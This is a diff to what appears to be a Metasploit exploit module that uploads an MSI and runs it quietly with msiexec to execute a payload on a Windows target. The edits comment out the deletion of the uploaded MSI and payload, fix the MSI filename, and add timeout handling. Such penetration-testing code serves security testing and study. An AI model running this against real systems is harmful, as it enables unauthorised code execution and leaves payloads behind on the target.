@@ -31,7 +31,8 @@ def initialize(info={})
31
31
file under external/source/exploits/exec_payload_msi/exec_payload.wxs.
32
32
This MSI simply executes payload.exe within the same folder.
33
33
34
- The MSI may not execute succesfully successive times.
34
+ The MSI may not execute succesfully successive times, but may be able to
35
+ get around this by regenerating the MSI.
35
36
36
37
MSI can be rebuilt from the source using the WIX tool with the following commands:
37
38
candle exec_payload.wxs
@@ -106,15 +107,15 @@ def cleanup
106
107
if @executed
107
108
begin
108
109
print_status ( "Deleting MSI..." )
109
- file_rm ( @msi_destination )
110
+ # file_rm(@msi_destination)
110
111
rescue Rex ::Post ::Meterpreter ::RequestError => e
111
112
print_error ( e . to_s )
112
113
print_error ( "Failed to delete MSI #{ @msi_destination } , manual cleanup may be required." )
113
114
end
114
115
115
116
begin
116
117
print_status ( "Deleting Payload..." )
117
- file_rm ( @payload_destination )
118
+ # file_rm(@payload_destination)
118
119
rescue Rex ::Post ::Meterpreter ::RequestError => e
119
120
print_error ( e . to_s )
120
121
print_error ( "Failed to delete payload #{ @payload_destination } , this is expected if the exploit is successful, manual cleanup may be required." )
@@ -127,7 +128,7 @@ def exploit
127
128
if check == Msf ::Exploit ::CheckCode ::Vulnerable
128
129
@executed = true
129
130
130
- msi_filename = Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".msi"
131
+ msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
131
132
msi_source = ::File . join ( Msf ::Config . install_root , "data" , "exploits" , "exec_payload.msi" )
132
133
133
134
# Upload MSI
@@ -161,7 +162,11 @@ def exploit
161
162
162
163
cmd = "msiexec.exe #{ logging } #{ quiet } /package #{ @msi_destination } "
163
164
vprint_status ( "Executing: #{ cmd } " )
164
- result = cmd_exec ( cmd )
165
+ begin
166
+ result = cmd_exec ( cmd )
167
+ rescue Rex ::TimeoutError
168
+ vprint_status ( "Execution timed out." )
169
+ end
165
170
vprint_status ( "MSI command-line feedback: #{ result } " )
166
171
end
167
172
end
0 commit comments